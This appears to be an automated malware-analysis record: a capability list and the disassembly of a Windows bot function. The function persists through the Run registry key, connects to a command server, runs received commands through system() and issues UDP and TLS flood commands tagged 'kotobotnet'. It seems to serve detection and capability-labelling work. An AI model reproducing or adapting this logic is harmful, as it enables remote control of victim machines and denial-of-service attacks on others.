Function at 0x140001840
Capabilities:
Connect socket
Convert ip address from string
Execute command
Initialize winsock library
Persist via run registry key
Receive data
Receive data on socket
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0xb18]
sub rsp, 0xc18
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xaf0], rax
lea rdx, str.C:WindowsSystemBroker.exe
lea rcx, [rbp - 0x78]
call fcn.140002090
lea rdx, str.SystemBroker
lea rcx, [rsp + 0x30]
call fcn.140002090
xor ebx, ebx
lea r8, [rsp + 0x58]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x58], rbx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x1400018cd
lea rdx, str.Error:_Unable_to_create_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140002260
mov rcx, rax
lea rdx, [0x140002440]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140001931
cmp qword [rbp - 0x60], 7
lea rcx, [rbp - 0x78]
mov eax, dword [rbp - 0x68]
lea rdx, [rsp + 0x30]
cmova rcx, qword [rbp - 0x78]
mov r9d, 1
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
test eax, eax
je 0x14000192b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Error:_Unable_to_set_registry_value.
jmp 0x1400018af
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14000196f
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000196a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019b9
call fcn.140002c98
mov rdx, qword [rbp - 0x60]
movdqa xmm0, xmmword [0x140004630]
mov word [rsp + 0x30], bx
movdqu xmmword [rsp + 0x40], xmm0
cmp rdx, 7
jbe 0x1400019c5
mov rcx, qword [rbp - 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019c0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c98
mov qword [rsp + 0xc40], r12
lea rdx, [rbp - 0x20]
mov ecx, 0x202
mov qword [rsp + 0xc10], r13
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001b5d
mov r13d, 2
lea edx, [rax + 1]
mov ecx, r13d
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001b5d
mov ecx, 0x1f90
mov word [rbp - 0x58], r13w
call qword [sym.imp.WS2_32.dll_htons]
movsd xmm0, qword [str.xpoxsosupopvv]
lea rdx, [rsp + 0x30]
mov word [rbp - 0x56], ax
lea rcx, [rbp - 0x48]
mov eax, dword [0x1400045f0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1400045f4]
mov byte [rsp + 0x3c], al
mov word [rsp + 0x3e], bx
mov qword [rsp + 0x40], sendto
mov qword [rsp + 0x48], sendto
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x3d], bl
call fcn.1400012a0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001aab
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aa6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b51
call fcn.140002c98
cmp qword [rbp - 0x30], 0xf
lea rdx, [rbp - 0x48]
lea r8, [rbp - 0x54]
mov ecx, r13d
cmova rdx, qword [rbp - 0x48]
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140001b08
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140001b01
mov rcx, qword [rbp - 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001afc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b51
call fcn.140002c98
mov eax, 0xffffffff
jmp 0x140001b62
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x58]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x140001b8b
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140001b5d
mov rcx, qword [rbp - 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b58
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c98
mov eax, 1
mov r12, qword [rsp + 0xc40]
mov r13, qword [rsp + 0xc10]
mov rcx, qword [rbp + 0xaf0]
xor rcx, rsp
call fcn.1400029a0
add rsp, 0xc18
pop rbx
pop rbp
ret
mov qword [rsp + 0xc30], rsi
lea rcx, [rbp + 0x320]
mov qword [rsp + 0xc38], rdi
xor edx, edx
mov qword [rsp + 0xc08], r14
mov r8d, 0x7d0
mov qword [rsp + 0xc00], r15
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x320]
mov r8d, 0x7d0
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rsp + 0x78], rbx
movsxd rcx, eax
mov qword [rbp - 0x80], sendto
movups xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x68], bl
cmp rcx, 0x7d0
jae 0x14000208a
mov byte [rbp + rcx + 0x320], 0
lea rax, [rbp + 0x320]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001c17
lea rcx, [rsp + 0x68]
cmp rbx, 0xf
ja 0x140001c46
mov r8, rbx
mov qword [rsp + 0x78], rbx
lea rdx, [rbp + 0x320]
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rbx + 0x68], 0
jmp 0x140001c55
lea r9, [rbp + 0x320]
mov rdx, rbx
call fcn.1400027e0
mov r15, qword [rbp - 0x80]
lea rdi, [rsp + 0x68]
mov rsi, qword [rsp + 0x68]
cmp r15, 0xf
mov rbx, qword [rsp + 0x78]
cmova rdi, rsi
cmp rbx, 3
jb 0x140001cc0
lea r14, [rbx + rdi]
mov edx, 0x54
lea r8, [r14 - 2]
mov rcx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140001cc0
cmp word [rax], 0x4c54
jne 0x140001ca4
cmp byte [rax + 2], 0x53
je 0x140001d9a
inc rax
lea r8, [r14 - 2]
sub r8, rax
mov rcx, rax
mov edx, 0x54
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140001c93
cmp r15, 0xf
lea rdi, [rsp + 0x68]
cmova rdi, rsi
cmp rbx, 3
jb 0x140001d25
lea r14, [rbx + rdi]
mov edx, 0x55
lea r8, [r14 - 2]
mov rcx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140001d25
cmp word [r9], 0x4455
jne 0x140001d06
cmp byte [r9 + 2], 0x50
je 0x140001dfa
inc r9
lea r8, [r14 - 2]
sub r8, r9
mov rcx, r9
mov edx, 0x55
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x140001cf3
cmp r15, 0xf
lea rdi, [rsp + 0x68]
cmova rdi, rsi
cmp rbx, 6
jb 0x140001fe7
lea r14, [rbx + rdi]
mov edx, 0x4c
lea r8, [r14 - 5]
mov rcx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140001fe7
cmp dword [r9], 0x4e55414c
jne 0x140001d76
cmp word [r9 + 4], 0x4843
je 0x140001f7b
inc r9
lea r8, [r14 - 5]
sub r8, r9
mov rcx, r9
mov edx, 0x4c
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x140001d60
jmp 0x140001fe7
sub rax, rdi
cmp rax, 0xffffffffffffffff
je 0x140001cc0
cmp rbx, rax
jb 0x140002084
mov rcx, rbx
mov edx, 4
sub rcx, rax
cmp rcx, rdx
cmovb rdx, rcx
cmp r15, 0xf
lea rcx, [rsp + 0x68]
cmova rcx, rsi
sub rbx, rdx
add rcx, rax
mov r8, rbx
sub r8, rax
add rdx, rcx
inc r8
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x78], rbx
call fcn.140001470
jmp 0x140001fde
sub r9, rdi
cmp r9, 0xffffffffffffffff
je 0x140001d25
cmp rbx, r9
jb 0x140002084
mov rax, rbx
lea rcx, [rsp + 0x68]
sub rax, r9
mov edx, 4
cmp rax, rdx
cmovb rdx, rax
cmp r15, 0xf
cmova rcx, rsi
sub rbx, rdx
add rcx, r9
mov r8, rbx
sub r8, r9
add rdx, rcx
inc r8
call sub.VCRUNTIME140.dll_memmove
movzx eax, word [0x140004600]
lea rdx, [rbp + 0x180]
xorps xmm0, xmm0
mov qword [rsp + 0x78], rbx
movups xmmword [rsp + 0x30], xmm0
mov ecx, 0x202
mov qword [rsp + 0x40], 0xa
movsd xmm0, qword [str.kotobotnet]
movsd qword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], sendto
mov word [rsp + 0x38], ax
mov byte [rsp + 0x3a], 0
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140001f38
xor r8d, r8d
mov edx, r13d
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001f32
mov ecx, 0x50
mov word [rbp - 0x78], r13w
call qword [sym.imp.WS2_32.dll_htons]
cmp qword [rbp - 0x80], 0xf
lea rdx, [rsp + 0x68]
lea r8, [rbp - 0x74]
mov word [rbp - 0x76], ax
cmova rdx, qword [rsp + 0x68]
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140001f29
lea rcx, [rsp + 0x50]
call fcn.1400011c0
cmp qword [rsp + 0x48], 0xf
lea rax, [rbp - 0x78]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x30]
cmova rdx, qword [rsp + 0x30]
mov rcx, rbx
xor r9d, r9d
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_sendto]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001fde
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f74
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002076
call fcn.140002c98
jmp 0x140001fde
sub r9, rdi
cmp r9, 0xffffffffffffffff
je 0x140001fe7
cmp rbx, r9
jb 0x140002084
mov rax, rbx
lea rcx, [rsp + 0x68]
sub rax, r9
mov edx, 7
cmp rax, rdx
cmovb rdx, rax
cmp r15, 0xf
cmova rcx, rsi
sub rbx, rdx
add rcx, r9
mov r8, rbx
sub r8, r9
add rdx, rcx
inc r8
call sub.VCRUNTIME140.dll_memmove
cmp qword [rbp - 0x80], 0xf
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x78], rbx
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rsi, qword [rsp + 0x68]
mov r15, qword [rbp - 0x80]
cmp r15, 0xf
jbe 0x14000201a
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002012
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000207d
mov rcx, rsi
call fcn.140002c98
xor edx, edx
lea rcx, [rbp + 0x320]
mov r8d, 0x7d0
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x320]
mov r8d, 0x7d0
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rsp + 0x78], 0
movsxd rcx, eax
mov qword [rbp - 0x80], sendto
movups xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x68], 0
cmp rcx, 0x7d0
jae 0x14000208a
jmp 0x140001c01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002240
int3
call fcn.140002ac8
int3